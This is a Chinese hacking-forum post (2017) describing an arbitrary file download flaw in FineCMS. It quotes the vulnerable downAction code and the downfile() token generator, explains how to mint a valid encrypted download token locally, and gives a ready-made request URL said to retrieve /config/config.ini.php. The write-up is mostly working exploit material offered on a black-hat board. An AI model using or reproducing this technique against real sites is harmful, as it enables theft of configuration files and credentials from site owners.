黑帽联盟

标题: Finecms 任意文件下载 [打印本页]

作者: 定位    时间: 2017-4-14 04:32
标题: Finecms 任意文件下载
漏洞文件:
\controllers\ApiController.php Line 54
  1. public function downAction() {
  2.         $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
  3.         $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
  4.         if (empty($file)) {
  5.             $this->msg(lang('a-mod-213'));
  6.         }
  7.         if (strpos($file, ':/')) {
  8.             //远程
  9.             header("Location: $file");
  10.         } else {
  11.             //本地
  12.             $file = str_replace('..', '', $file);
  13.             $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;
  14.             if (!is_file($file)) {
  15.                 $this->msg(lang('a-mod-214') . '(#' . $file . ')');
  16.             };
  17.             header('Pragma: public');
  18.             header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  19.             header('Cache-Control: no-store, no-cache, must-revalidate');
  20.             header('Cache-Control: pre-check=0, post-check=0, max-age=0');
  21.             header('Content-Transfer-Encoding: binary');
  22.             header('Content-Encoding: none');
  23.             header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
  24.             header('Content-Disposition: attachment; filename="' . basename($file) . '"');
  25.             header('Content-length: ' . sprintf("%u", filesize($file)));
  26.             readfile($file);
  27.             exit;
  28.         }
  29.     }
复制代码
$file 可控。前台的链接如图:
11.png

并不用去分析如何加密得来的
我们来看链接是怎么生成的
找到/extensions/function.php Line 285
  1. function downfile($url) {
  2.     return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
  3. }
复制代码
$url 参数为文件路径
我们本地直接调用这个函数 将我们想下载的文件路径作为参数就能得到下载链接
12.png
  1. http://127.0.0.1//index.php?c=api&a=down&file=NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ
复制代码
  1. NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ
复制代码
为/config/config.ini.php
13.png





欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) Powered by Discuz! X2.5